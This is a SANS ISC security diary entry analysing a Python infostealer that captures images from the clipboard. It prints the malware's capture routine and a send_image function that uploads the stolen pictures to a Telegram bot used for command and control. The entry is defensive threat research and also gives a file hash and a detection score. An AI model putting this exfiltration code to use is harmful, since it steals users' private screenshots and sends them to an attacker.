ISC Stormcast For Thursday, October 16th, 2025 https://isc.sans.edu/podcastdetail/9658

    Clipboard Pictures Exfiltration in Python Infostealer

    Published: 2025-10-15. Last Updated: 2025-10-15 05:41:49 UTC
    by Xavier Mertens (Version: 1)
    0 comment(s)

    For a while, clipboard content has been monitored by many infostealers. Purposes can be multiple, like simply searching and exfiltrating juicy data or on-the-fly modification like crypto-wallet swapping[1]. Note that the clipboard is a major risk when you don't disable clipboard sharing between your virtual machines and hosts. A malware running in a sandbox will access your (host) clipboard without problem!

    The clipboard does not only carry text. Today, we use the clipboard to manipulate a lot of "binary data". After plain text, the most common data types are pictures! We take pictures every time and share them through the clipboard! Who has never grabbed pieces of screens like this? This is convenient when writing reports, documentation, or for archiving purposes.

    I spotted a Python infostealer that pays attention to pictures exchanged with the clipboard. It's pretty easy to implement because the ImageGrab library has this feature built in [2]. Here is the piece of code implemented in the malware:

    img = ImageGrab.grabclipboard()
    if isinstance(img, Image.Image):
        img_bytes = io.BytesIO()
        img.save(img_bytes, format='PNG')
        img_hash = hashlib.md5(img_bytes.getvalue()).hexdigest()
        if img_hash != prev_clip_img_hash:
            img_path = "clipboard_img.png"
            img.save(img_path, "PNG")
            send_image(img_path)
            prev_clip_img_hash = img_hash

    Telegram is used for C2 communications:

    def send_image(image_path):
        if not bot_active or not os.path.exists(image_path):
            logging.warning(f"[send_image] T?p không t?n t?i: {image_path}")
            return
        try:
            with open(image_path, "rb") as photo:
                url = f"https://api.telegram.org/bot{TOKEN}/sendDocument"
                files = {"document": photo}
                data = {"chat_id": CHAT_ID}
                response = requests.post(url, files=files, data=data)
                if response.status_code != 200:
                    logging.error(f"[send_image] L?i g?i ?nh: {response.text}")
        except Exception as e:
            logging.error(f"[send_image] G?i ?nh l?i: {e}")

    Note the presence of Vietnamese text ("T?p không t?n t?i" means "File not found"). The file (SHA256:7c70f53ff1e05ee104403784f42819adb1e445c9d97b82cff72a986d59619959) has a low VT score (5/64)[3].

    [1] https://isc.sans.edu/diary/MultiCryptocurrency+Clipboard+Swapper/28574
    [2] https://pillow.readthedocs.io/en/stable/reference/ImageGrab.html#PIL.ImageGrab.grabclipboard
    [3] https://www.virustotal.com/gui/file/7c70f53ff1e05ee104403784f42819adb1e445c9d97b82cff72a986d59619959/detection

    Xavier Mertens (@xme)
    Xameco
    Senior ISC Handler - Freelance Cyber Security Consultant
    PGP Key

    0 comment(s)

      Comments


      Diary Archives